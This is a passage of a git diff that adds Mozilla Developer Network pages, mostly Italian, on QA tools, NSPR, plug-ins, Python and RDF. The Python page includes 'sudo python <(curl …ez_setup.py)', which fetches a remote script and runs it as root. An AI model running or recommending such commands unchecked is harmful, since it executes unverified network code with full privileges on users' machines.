+ <dd>When a changeset adds a new test, or modifies an existing test, the test verification (TV) test suite performs additional testing to help find intermittent failures in the modified test as quickly as possible.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Mozharness_FAQ">Mozharness FAQ</a></dt>
+ <dd>Answers to common questions about Mozharness.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Robocop" title="/en-US/docs/Mozilla/QA/Robocop">Robocop</a></dt>
+ <dd>Robocop is the automated testing system used for Firefox for Android. Learn its <a href="/en-US/docs/Mozilla/QA/Robocop/Code_style_guidelines">code style guidelines</a></dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Marionette">Marionette</a></dt>
+ <dd>Get started with Marionette UI testing.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/web-platform-tests">web-platform-tests</a></dt>
+ <dd>Learn how to use the industry standard, cross-browser, cross-platform <a href="http://testthewebforward.org/docs/">Web runtime testing system</a> from the <a href="https://www.w3.org/">W3C</a> used by Mozilla and others to ensure browser interoperability.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/external-media-tests">External Media Tests</a></dt>
+ <dd>Get started testing HTML5-based video elements using VideoPuppeteer, a <a href="/en-US/docs/Mozilla/QA/Marionette">Marionette</a>- -based test suite used to test sites like YouTube and Netflix.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Chrome_tests">Chrome tests</a></dt>
+ <dd>A chrome test is basically a <a href="https://developer.mozilla.org/en-US/docs/Mochitest" title="en/Mochitest">Mochitest</a> running with chrome privileges.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Firefox_QE">Firefox QE</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox" title="/en-US/docs/Mozilla/QA/Triaging_Bugs_for_Firefox">Triaging Bugs for Firefox</a></dt>
+ <dd>Information about the entire bug triaging process – from processing incoming bugs to narrowing down the steps to reproduce a bug.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Tips_and_Tricks">Tips and Tricks</a></dt>
+ <dd>These tips and tricks will make your life easier when you are testing.</dd>
+</dl>
+<a href="/en-US/docs/Downloading_Nightly_or_Trunk_Builds">Downloading Nightly or Trunk Builds</a>
+
+<dl>
+ <dd>Every 24 hours, a "nightly" build is created that testers all over the world download and test, reporting as they go along on any bugs that hit them. </dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Command_Line_Options">Command Line Options</a></dt>
+ <dd>Command line options are used to specify various startup options for Firefox.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Performance/Reporting_a_Performance_Problem">Reporting a Performance Problem</a></dt>
+ <dd>This article will guide you in reporting a performance problem using the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance/Profiling_with_the_Built-in_Profiler">Gecko Profiler extension</a>.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Projects/Crash_reporting">Crash reporting</a></dt>
+ <dd>Firefox ships with an open-source crash reporting system.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Firefox_for_Android">Firefox for Android</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Mobile_Firefox">Mobile Firefox</a></dt>
+ <dd>Firefox for Android is the mobile version of Firefox with a native Android look and feel.</dd>
+ <dt><a href="/en-US/Firefox_for_Android/Compatibility_Testing">Compatibility Testing</a></dt>
+ <dd>Help us identify websites that do not work well in Firefox by reporting the specific issues that you find in your investigation.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Fennec_Android:_Logging_with_the_Android_Debug_and_Logcat">Logging with the Android Debug Bridge and Logcat</a></dt>
+ <dd>This article will provide a walkthrough in downloading and setting up an environment to which one can gain access to and view Android system logs.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Firefox_Mobile:_Enabling_the_Error_Console">Enabling the Error Console</a></dt>
+ <dd>See the Mozilla Hacks article on <a class="external external-icon" href="https://hacks.mozilla.org/2012/08/remote-debugging-on-firefox-for-android/">Remote Debugging on Firefox for Android</a> for web content. If you need to debug the Firefox browser itself use Android's <a class="external external-icon" href="http://developer.android.com/tools/help/logcat.html">adb logcat</a>.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Firefox_OS">Firefox OS</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<h3 id="Manual_testing_2">Manual testing</h3>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Simulator_vs_Emulator_vs_Device">Simulator vs Emulator vs Device</a></dt>
+ <dd>These are three basic options when it comes to getting a Firefox OS environment in order to work on, or developing for, Firefox OS.</dd>
+ <dt><a href="/en-US/Firefox_OS/Debugging">Debugging</a></dt>
+ <dd>Discover the different tools at your disposal to debug your Firefox OS code.</dd>
+ <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Reporting Bugs</a></dt>
+ <dd>This article provides a guide to filing bugs against the Firefox OS project, including Gaia and B2G.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h3 id="Platform_(Gecko)">Platform (Gecko)</h3>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Platform/Automated_testing">Automated Testing</a></dt>
+ <dd>Learn various aspects of testing Firefox OS, including running different tests, automation, and result reporting and tracking.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Automated_testing/Gaia_performance_tests">Gaia Performance Tests</a></dt>
+ <dd>This article provides information about running performance tests on Gaia, as well as how to create new tests.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Feature_support_chart">Feature Support Chart</a></dt>
+ <dd>There are several different builds of Firefox OS you can download or build for yourself, and there are some differences between the types of features available on each device.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Web_QA">Web QA</h2>
+
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Reducing_testcases" title="en-US/docs/Reducing testcases">Reducing testcases</a></dt>
+ <dd>Improve bug reports by turning broken web pages into simple testcases, which can help developers understand the bug and can also be used for creating automated tests.</dd>
+ <dt><a href="/en-US/docs/Mozilla/QA/Managing_Web_QA_XFails">Managing XFails</a></dt>
+ <dd>One of the ongoing tasks of the Web QA department is managing xfails. This document will explain what xfails are, and describe the steps one can take to investigate and update them.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/QA/Running_Web_QA_automated_tests">Running Automated Tests</a></dt>
+ <dd>So you’re interested in contributing to Mozilla Web QA automation projects but don’t know where to start? This doc will help you get up and running a set of tests locally.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Glossary">Glossary</h2>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Glossary/Smoke_Test">Smoke Test</a></dt>
+ <dd></dd>
+</dl>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-quality">Mailing list</a></li>
+ <li><a href="https://quality.mozilla.org/">Blog</a></li>
+ <li><a href="/en-US/docs/tag/QA" title="en-US/docs/tag/QA">View all documents tagged QA</a></li>
+ <li><a href="/en-US/docs/tag/QA:Tools" title="en-US/docs/tag/QA:Tools">View all documents tagged QA:Tools</a></li>
+</ul>
diff --git a/files/it/mozilla/tech/index.html b/files/it/mozilla/tech/index.html
new file mode 100644
index 0000000000..f9682e62e1
--- /dev/null
+++ b/files/it/mozilla/tech/index.html
@@ -0,0 +1,14 @@
+---
+title: Mozilla technologies
+slug: Mozilla/Tech
+tags:
+  - Landing
+  - Mozilla
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - XUL
+translation_of: Mozilla/Tech
+---
+<p>Mozilla has several technologies used as components of its projects. These are documented here. (flesh out this text).</p>
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/it/nspr/index.html b/files/it/nspr/index.html
new file mode 100644
index 0000000000..4f3290d763
--- /dev/null
+++ b/files/it/nspr/index.html
@@ -0,0 +1,16 @@
+---
+title: NSPR
+slug: NSPR
+tags:
+  - NSPR
+translation_of: Mozilla/Projects/NSPR
+---
+<p>
+</p><p><b>Netscape Portable Runtime</b> (<b>NSPR</b>) fornisce una API multipiattaforma per funzioni di sistema e funzioni libc. La API viene usata nei client Mozilla, molte delle applicazioni server Red Hat e Sun, e da altri produttori software.
+</p>
+<h3 id="Riferimenti"> Riferimenti </h3>
+<ul><li> <a class="external" href="http://www.mozilla.org/projects/nspr/">The NSPR Project page</a> (at mozilla.org)
+</li><li> <a href="it/NSPR_API_Reference">NSPR API Reference</a>
+</li><li> <a href="it/Programmare_usando_NSPR">Programmare usando NSPR</a>
+</li></ul>
+{{ languages( { "ja": "ja/NSPR", "en": "en/NSPR" } ) }}
diff --git a/files/it/nuove_tabelle_di_compatibilita_in_beta/index.html b/files/it/nuove_tabelle_di_compatibilita_in_beta/index.html
new file mode 100644
index 0000000000..5ee004d6c9
--- /dev/null
+++ b/files/it/nuove_tabelle_di_compatibilita_in_beta/index.html
@@ -0,0 +1,26 @@
+---
+title: Nuove tabelle di compatibilità in beta
+slug: Nuove_tabelle_di_compatibilita_in_beta
+translation_of: Archive/MDN/New_Compatibility_Tables_Beta
+---
+<p>Ti trovi qui probabilmente perché hai seguito il link di informativa della beta da una delle nostre nuove tabelle di compatibilità. (Non è così? Vuoi provare le nuove tabelle? <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Be_a_beta_tester">Diventa anche tu un beta tester.</a>)</p>
+
+<p>Grazie per aiutarci a testarle. Sono parte di un progetto ancora più grande. Stiamo migrando tutti i nostri <a href="https://github.com/mdn/browser-compat-data">dati di compatibilità browser in formato JSON strutturato</a>.</p>
+
+<p>Le nuove tabelle apparirano nelle pagine non appena i dati sono stati convertiti al nuovo formato.</p>
+
+<h2 id="Contribuire">Contribuire</h2>
+
+<p>I dati di compatibilità sono stati migrati in file JSON nel <a href="https://github.com/mdn/browser-compat-data">repository browser-compat-data su GitHub</a>.</p>
+
+<p>Per contribuire dati di compatibilità puoi ora proporre una pull request o aprire una issue nel repository.</p>
+
+<h2 id="Come_aiutare">Come aiutare</h2>
+
+<p>Se trovi un problema nei dati per cortesia <a href="https://github.com/mdn/browser-compat-data">apri una issue nel repository GitHub</a>.</p>
+
+<p>Se qualcosa è andato storto nell’aspetto o nella funzionalità della tabella stessa, per cortesia fai click sul bottone con la dicitura <strong>“Segnala un errore” </strong>(o <strong>“Report an error”</strong> in inglese) dal menu a tendina sopra alla tabella.</p>
+
+<p>Se hai un momento, apprezzeremmo se tu potessi <a class="external external-icon" href="http://www.surveygizmo.com/s3/2342437/0b5ff6b6b8f6">prendere parte al nostro questionario</a>.</p>
+
+<div>{{MDNSidebar}}{{IncludeSubnav("/it-IT/docs/MDN")}}</div>
diff --git a/files/it/plug-in/index.html b/files/it/plug-in/index.html
new file mode 100644
index 0000000000..b6c23742d2
--- /dev/null
+++ b/files/it/plug-in/index.html
@@ -0,0 +1,63 @@
+---
+title: Plug-in
+slug: Plug-in
+tags:
+  - Add-ons
+  - Plugins
+  - Tutte_le_categorie
+translation_of: Web/API/Plugin
+---
+<p> </p>
+<div>
+ <p>I <b>Plugins</b> (o plug-ins) sono piccoli software che interagiscono con il browser al fine di fornire alcune funzioni specifiche. Classici esempi di plugin sono quelli che consentono di visualizzare formati grafici specifici, o di eseguire file multimediali. I plugin sono leggermente diversi dalle <a href="it/Extensions">estensioni</a>, che modificano o aggiungono funzionalità già presenti.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a>Documentazione</a></h4>
+    <dl>
+     <dt>
+      <a href="it/Gecko_Plugin_API_Reference">Gecko Plugin API Reference</a></dt>
+     <dd>
+      <small>Questo manuale di riferimento descrive le interfacce impiegabili dal programmatore nella realizzazione di plugin per Gecko, e fornisce indicazioni su come usare tali interfacce.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Using_XPInstall_to_Install_Plugins">Using XPInstall to Install Plugins</a></dt>
+     <dd>
+      <small><a href="it/XPInstall">XPInstall</a> è una tecnologia che consente una interazione utente molto semplice qualora sia necessario aggiungere nuovi plugin, senza dover costringere l'utente ad uscire dal proprio ambiente di navigazione per eseguire un programma esterno di installazione.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a class="external" href="http://developer.apple.com/internet/webcontent/detectplugins.html">Detecting Plugins</a> <small>(en)</small></dt>
+     <dd>
+      <small>"Dato che ci sono delle ovvie situazioni in cui ha un senso usare un plug-in, la domanda che sorge è come interagire con coloro che non hanno già installato il plug-in necessario"</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="it/Scripting_Plugins/Macromedia_Flash">Scripting Plugins: Macromedia Flash</a></dt>
+     <dd>
+      <small>Questo articolo spiega come è possibile usare JavaScript per accedere a metodi disponibili in un plugin Flash, ed anche come impiegare la funzionalità chiamata <code>FSCommands</code> per accedere a funzioni JavaScript dall'interno di animazioni Flash.</small></dd>
+    </dl>
+    <p><span class="alllinks"><a>Mostra tutto...</a></span></p>
+   </td>
+   <td>
+    <h4 id="Community" name="Community">Community</h4>
+    <ul>
+     <li>View Mozilla forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }}</p>
+    <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
+    <dl>
+     <dd>
+      <a href="it/Gecko">Gecko</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/Plugins", "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "pl": "pl/Wtyczki" } ) }}</p>
diff --git a/files/it/python/index.html b/files/it/python/index.html
new file mode 100644
index 0000000000..11edf5cb11
--- /dev/null
+++ b/files/it/python/index.html
@@ -0,0 +1,105 @@
+---
+title: Python
+slug: Python
+translation_of: Learn/Server-side/Django
+---
+<p><a class="external" href="http://www.python.org">Python</a> è un linguaggio di programmazione interpretato disponibile su una vasta varietà di piattaforme, inclusi Linux, MacOS X e Microsoft Windows.</p>
+
+<h2 id="Learning_Python" name="Learning_Python">Imparare Python</h2>
+
+<h3 id="Libri_digitali_(gratuiti)">Libri digitali (gratuiti)</h3>
+
+<p><a class="external" href="http://www.diveintopython.net/toc/index.html">Dive Into Python</a> è considerata una delle migliori introduzioni a Python disponibili, anche se è aggiornato al 2004. Ciò nonostante, fornisce una buona trattazione delle basi del linguaggio e dei compiti più comuni per cui è usato il linguaggio come le richieste web o le operazioni sui file. Per gli argomenti più complessi, <a class="external" href="http://gnosis.cx/TPiP/">Text Processing In Python</a> è un eccellente tutorial (o reference).</p>
+
+<p>Ci sono poi altri tutorial e risorse gratuite, disponibili:</p>
+
+<ul style="margin-left: 40px;">
+ <li>Il <a class="external" href="http://docs.python.org/tutorial/index.html" title="http://docs.python.org/tutorial/index.html">Tutorial Ufficiale</a> e la <a href="http://docs.python.org" title="http://docs.python.org">documentazione ufficiale</a></li>
+ <li><a href="http://en.wikibooks.org/wiki/Non-Programmer%27s_Tutorial_for_Python_2.6" title="http://en.wikibooks.org/wiki/Non-Programmer%27s_Tutorial_for_Python_2.6">Non-Programmer's Tutorial for Python 2.6</a> di <a href="http://en.wikibooks.org/wiki/Main_Page" title="http://en.wikibooks.org/wiki/Main_Page">Wikibooks</a></li>
+ <li><a href="http://www.greenteapress.com/thinkpython/" title="http://www.greenteapress.com/thinkpython/">Think Python</a>: How to Think Like a Computer Scientist di <strong>Allen B. Downey </strong>(disponibile in formato <a href="http://www.greenteapress.com/thinkpython/thinkpython.pdf" title="http://www.greenteapress.com/thinkpython/thinkpython.pdf">PDF</a> &amp; <a href="http://www.greenteapress.com/thinkpython/html/index.html" title="http://www.greenteapress.com/thinkpython/html/index.html">HTML</a>).
+  <ul>
+   <li><a href="http://greenteapress.com/complexity/index.html" title="http://greenteapress.com/complexity/index.html">Think Complexity</a> di <strong>Allen B. Downey</strong> continua l'opera del precedente (disponibile in formato <a href="http://greenteapress.com/complexity/thinkcomplexity.pdf" title="http://greenteapress.com/complexity/thinkcomplexity.pdf">PDF</a> &amp; <a href="http://greenteapress.com/complexity/html/index.html" title="http://greenteapress.com/complexity/html/index.html">HTML</a> )</li>
+  </ul>
+ </li>
+ <li><a href="http://learnpythonthehardway.org" title="http://learnpythonthehardway.org">Learn Python The Hard Way</a> di <span id="cke_bm_75S" style="display: none;"> </span>Zed Shaw<span id="cke_bm_75E" style="display: none;"> </span> (<a href="http://learnpythonthehardway.org/book/" title="http://learnpythonthehardway.org/book/">formato HTML</a>)</li>
+ <li><a href="http://www.itmaybeahack.com/book/python-2.6/html/index.html" title="http://www.itmaybeahack.com/book/python-2.6/html/index.html">Building Skills in Python</a> di<span id="cke_bm_76S" style="display: none;"> </span> Steven F. L<span id="cke_bm_76E" style="display: none;"> </span>ott (<span id="cke_bm_77E" style="display: none;"> </span><a href="http://www.itmaybeahack.com/book/python-2.6/latex/BuildingSkillsinPython.pdf" title="http://www.itmaybeahack.com/book/python-2.6/latex/BuildingSkillsinPython.pdf">formato PDF</a>)</li>
+</ul>
+
+<p>Una volta acquisite le basi, si può passare a <a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html" title="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html">Code Like a Pythonista: Idiomatic Python</a> per approfondire alcuni aspetti di Python che lo rendono diverso dagli altri linguaggi .</p>
+
+<h3 id="Corsi_Online_(gratuiti)">Corsi Online (gratuiti)</h3>
+
+<ul style="margin-left: 40px;">
+ <li><a href="https://developers.google.com/edu/python/" title="http://code.google.com/edu/languages/google-python-class/">Google's Python Class</a></li>
+ <li>Learnstreet's Free <a href="http://www.learnstreet.com/lessons/languages/python" title="http://www.learnstreet.com/lessons/languages/python">Python Courses and Videos</a></li>
+ <li><a href="http://www.codecademy.com/tracks/python" title="http://www.codecademy.com/tracks/python">Python</a> di <strong>Codecademy</strong></li>
+ <li><a href="http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-189-a-gentle-introduction-to-programming-using-python-january-iap-2008/" title="http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-189-a-gentle-introduction-to-programming-using-python-january-iap-2008/">A Gentle Introduction to Programming Using Python</a> ad opera del <strong>MIT</strong></li>
+ <li><a href="http://www.fireboxtraining.com" title="http://www.fireboxtraining.com">Firebox Training's</a> <a href="http://www.fireboxtraining.com/blog/python-tutorials/" title="http://www.fireboxtraining.com/blog/python-tutorials/">Free Python course video tutorial blog</a></li>
+</ul>
+
+<h2 id="Python_in_Mozilla" name="Python_in_Mozilla">Python nelle applicazioni Mozilla</h2>
+
+<p><a href="/en-US/docs/XPCOM" title="XPCOM">XPCOM</a> di per sè supporta solamente la comunicazione tra C++ e JavaScript. Il <a href="/en-US/docs/PyXPCOM" title="PyXPCOM">modulo Python XPCOM</a> (chiamato anche <strong>PyXPCOM</strong>) è uno strato di basso-livello che mette insieme Python e Mozilla, permettendo ai componenti XPCOM scritti in C++ o JavaScript di comunicare con Python, o viceversa. PyXPCOM non è incluso <em>di default </em>in Firefox, quindi si dovrebbe usare una versione di terze-parti che include il modulo. Un esempio di utilizzatori di PyXPCOM sono la famiglia di prodotti <strong>Komodo</strong>.</p>
+
+<p>A partire da Mozilla 1.9, è stato implementato Python DOM (<a href="/en-US/docs/PyDOM" title="PyDOM">PyDOM</a>). Ciò permette agli sviluppatori di usare Python col tag &lt;script&gt; (ovviamente non nella release <em>default </em>di Firefox o Thunderbird).</p>
+
+<h2 id="Strumenti_scritti_in_Python">Strumenti scritti in Python</h2>
+
+<p>Python usato in Mozilla per gli strumenti che si occupano di svolgere diverse operazioni sulle applicazioni e le infrastrutture. Sarebbe utile leggere <a href="/en-US/docs/Python_Environment_and_Tools_for_Mozilla" title="Python_Environment_and_Tools_for_Mozilla">Python Environment and Tools for Mozilla</a>.</p>
+
+<p>Gli strumenti scritti in Python sono listati qui: <a class="external" href="http://k0s.org/toolbox/?language=python">http://k0s.org/toolbox/?language=python</a></p>
+
+<h2 id="L'uso_di_Python_in_Mozilla">L'uso di Python in Mozilla</h2>
+
+<p>Mozilla ha diverse infrastrutture basate su Python:</p>
+
+<ul>
+ <li><strong>Django</strong> per lo<a href="http://blog.mozilla.org/webdev/"> sviluppo web</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Buildbot" title="https://wiki.mozilla.org/Buildbot">buildbot</a></li>
+ <li>Molti strumenti per i <a href="/en-US/docs/Mozilla_automated_testing" title="Mozilla automated testing">test</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Auto-tools/Projects/Mozbase" title="https://wiki.mozilla.org/Auto-tools/Projects/MozBase">mozbase</a></li>
+</ul>
+
+<h2 id="Python_in_Mozilla-Central">Python in Mozilla-Central</h2>
+
+<p><span style="background-color: #ffff00;">[Nota: guarda <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=835553">https://bugzilla.mozilla.org/show_bug.cgi?id=835553</a>]</span></p>
+
+<p>Molti dei sistemi di sviluppo, di testing, altri strumenti ed infrastrutture in mozilla-central sono scritte in Python.</p>
+
+<ul>
+ <li><a href="http://mxr.mozilla.org/mozilla-central/source/python/" title="http://mxr.mozilla.org/mozilla-central/source/python/"><code>python/</code></a> contiene, tra le altre cose, moduli Python hostati per pypi.python.org</li>
+ <li><a href="http://mxr.mozilla.org/mozilla-central/source/testing/mozbase/" title="http://mxr.mozilla.org/mozilla-central/source/testing/mozbase/"><code>testing/mozbase/</code></a> contiene un mirror dei pacchetti <a href="https://wiki.mozilla.org/Auto-tools/Projects/Mozbase" title="https://wiki.mozilla.org/Auto-tools/Projects/Mozbase"><code>Mozbase</code></a>  come quelli usati in mozilla-central</li>
+</ul>
+
+<p><strong>Nota: </strong>un <a href="/en-US/docs/Python/Virtualenv" title="/en-US/docs/Python/Virtualenv">virtualenv</a> è stato attivato nella  <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Mozilla_build_FAQ#Build_configurations" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Mozilla_build_FAQ#Build_configurations"><code>objdir</code></a>  (<code>$OBJDIR/_virtualenv)</code> . Per aggiungere moduli a <em>virtualenv</em>, edita <a href="http://mxr.mozilla.org/mozilla-central/source/build/virtualenv_packages.txt" title="http://mxr.mozilla.org/mozilla-central/source/build/virtualenv/packages.txt">build/virtualenv_packages.txt </a>. Questi sono installati via <a href="http://mxr.mozilla.org/mozilla-central/source/build/virtualenv/populate_virtualenv.py" title="http://mxr.mozilla.org/mozilla-central/source/build/virtualenv/populate_virtualenv.py">build/virtualenv/populate_virtualenv.py</a> .</p>
+
+<h2 id="Pacchetti_Python">Pacchetti Python</h2>
+
+<p>Python usa il file <a class="external" href="http://docs.python.org/distutils/index.html" title="http://docs.python.org/distutils/index.html">setup.py</a> per l'installazione di <a class="external" href="http://docs.python.org/tutorial/modules.html#packages" title="http://docs.python.org/tutorial/modules.html#packages">moduli Python</a>. Digitando <code>python setup.py install</code> installerai il modulo, ciò ti permetterà di usare il modulo stesso perchè aggiunto nel <a class="external" href="http://docs.python.org/tutorial/modules.html#the-module-search-path" title="http://docs.python.org/tutorial/modules.html#the-module-search-path">percorso PATH di Python</a>. Per Python 2.x esistono molti moduli disponibili. <code><a class="external" href="http://docs.python.org/distutils/index.html" title="http://docs.python.org/distutils/index.html">distutils</a></code> è l'unico <span style="color: #fff0f5;"><span style="background-color: rgb(178, 34, 34);">gestore di moduli</span> </span>presente nella <a class="external" href="http://docs.python.org/library/" title="http://docs.python.org/library/">libreria standard</a>. <code>distutils</code> puo caricare moduli su <a class="external" href="http://pypi.python.org/pypi" title="http://pypi.python.org/pypi">PyPI</a> ed installarli. Per maggiori dettagli, puoi consultare <a class="external" href="http://docs.python.org/distutils/index.html" title="http://docs.python.org/distutils/index.html"><code>la documentazione ufficiale di Python</code></a>.</p>
+
+<p>A differenza di <code>distutils</code> che fa parte della libreria standard, <a class="external" href="http://peak.telecommunity.com/DevCenter/setuptools" title="http://peak.telecommunity.com/DevCenter/setuptools">setuptools</a> è un modulo di terze parti. <code>È certamente compatibile con distutils</code>, ma la cosa importante è che <a class="external" href="http://peak.telecommunity.com/DevCenter/setuptools#declaring-dependencies" title="http://peak.telecommunity.com/DevCenter/setuptools#declaring-dependencies">include le dependenze</a> necessarie all'installazione dei vari moduli come pre-requisito quando si invoca <code>setup.py</code> così come la possibilità di installare i moduli in <a class="external" href="http://packages.python.org/distribute/setuptools.html#development-mode" title="http://packages.python.org/distribute/setuptools.html#development-mode">modalità sviluppo</a>. Questo permette di editare i file tramite <a class="external" href="http://docs.python.org/library/site.html" title="http://docs.python.org/library/site.html">file .pth</a> che risultano maneggievoli. <code>setuptools</code> fornisce anche <code><a class="external" href="http://packages.python.org/distribute/easy_install.html" title="http://packages.python.org/distribute/easy_install.html">easy_install</a></code> che permette di installare moduli (e relative dipendenze) da <a class="external" href="http://pypi.python.org/pypi" title="http://pypi.python.org/pypi">PyPI</a>. Per esempio, se volessimo installare PyYAML, basterebbe digitare:</p>
+
+<pre>easy_install PyYAML
+</pre>
+
+<p>Dal momento che <em>setuptools </em>non è presente di default in Python, avrai sicuramente bisogno di installarlo per usarlo. Puoi installare <code>setuptools</code> da PyPI scaricando il pacchetto, estraendolo, e digitando <code>python setup.py install</code> a linea-di-comando, oppure usare <code><a class="external" href="http://peak.telecommunity.com/dist/ez_setup.py" title="http://peak.telecommunity.com/dist/ez_setup.py">ez_setup.py</a></code>. Puoi scaricarlo ed avviarlo con Python (sono richiesti privilegi di root), oppure in una sezione <a class="external" href="http://www.gnu.org/s/bash/" title="http://www.gnu.org/s/bash/">bash.</a></p>
+
+<pre>sudo python &lt;(curl http://peak.telecommunity.com/dist/ez_setup.py)
+</pre>
+
+<p><code>setuptools</code> potrebbe essere già presente in <a href="/en-US/docs/Python/Virtualenv" title="Virtualenv">virtualenv</a>, quindi potresti non avere bisogno di installare (manualmente) <em>setuptools </em>se usi virtualenv. C'è poi <a class="external" href="http://packages.python.org/distribute/" title="http://packages.python.org/distribute/">distribute</a>, un fork di setuptools scritto dal nostro amico <a class="external" href="http://ziade.org/" title="http://ziade.org/">Tarek Ziade</a>. È compatibile con setuptools.</p>
+
+<div class="note"><strong>Note:</strong> È altamente consigliato usare <a href="/en-US/docs/Python/Virtualenv" title="Virtualenv">virtualenv</a> durante la fase di sviluppo.</div>
+
+<p><a class="external" href="http://pypi.python.org/pypi" title="http://pypi.python.org/pypi">Python Package Index (PyPI)</a> è il punto di raccolta centrale per i moduli Python di terze-parti. Se hai bisogno di funzionalità extra in Python, dacci un'occhiata!</p>
+
+<p>Guarda anche: <a class="external" href="http://k0s.org/portfolio/packaging.html">http://k0s.org/portfolio/packaging.html</a></p>
+
+<h2 id="Vedi_anche">Vedi anche:</h2>
+
+<ul>
+ <li><a class="external" href="http://docs.services.mozilla.com/server-devguide/release.html" title="http://docs.services.mozilla.com/server-devguide/release.html">Releasing an application</a> (documentazione Mozilla Services)</li>
+ <li><a href="http://pycheesecake.org/wiki/PythonTestingToolsTaxonomy">http://pycheesecake.org/wiki/PythonTestingToolsTaxonomy</a></li>
+ <li><a class="link-https" href="https://wiki.mozilla.org/Auto-tools/Python101">https://wiki.mozilla.org/Auto-tools/Python101</a></li>
+ <li><a href="http://www.learnstreet.com/cg/simple/projects/python" title="http://www.learnstreet.com/cg/simple/projects/python">Python Projects </a>di Code Garage</li>
+</ul>
diff --git a/files/it/rdf/index.html b/files/it/rdf/index.html
new file mode 100644
index 0000000000..bbf3afa1a5
--- /dev/null
+++ b/files/it/rdf/index.html
@@ -0,0 +1,53 @@
+---
+title: RDF
+slug: RDF
+tags:
+  - RDF
+  - Tutte_le_categorie
+translation_of: Archive/Web/RDF
+---
+<p>
+</p><p><br>
+<b>Resource Description Framework (RDF)</b> è una famiglia di specifiche per un modello di metadati generalmente implementati come applicazioni XML. E' mantenuto dal World Wide Web Consortium (W3C).
+</p><p>Il modello di metadati RDF si basa sull'idea di scrivere delle frasi sulle risorse nella forma "soggetto-predicato-oggetto", che nella terminologia specifica si definisce <i>triple</i> (tripletta). Il soggetto è la risorsa, cioè ciò che viene descritto. Il predicato è un aspetto di quella risorse, spesso esprime una relazione fra il soggetto e l'oggetto. Quest'ultimo è l'oggetto della relazione.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> Documentazione </h4>
+<dl><dt> <a href="it/Presentazioni_all'XTech_2005/Direzioni_del_motore_RDF_di_Mozilla">Presentazioni all'XTech 2005: Direzioni del motore RDF di Mozilla</a>
+</dt><dd> <small>Questa presentazione mostra i nuovi sviluppi del motore RDF di Mozilla. Ciò comprende i piani per esporre l'API RDF al contenuto web, oltre ai miglioramenti di performance e alla maggiore aderenza agli standard.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.xml.com/pub/a/2001/01/24/rdf.html">What is RDF</a> (EN)
+</dt><dd> <small>Un'introduzione di Tim Braya a RDF, su <a class="external" href="http://www.xml.com">XML.com</a>.</small>
+</dd></dl>
+<dl><dt> <a href="it/RDF_in_Mozilla_FAQ">RDF in Mozilla FAQ</a>
+</dt><dd> <small>Domande frequenti sull'RDF in Mozilla.</small>
+</dd></dl>
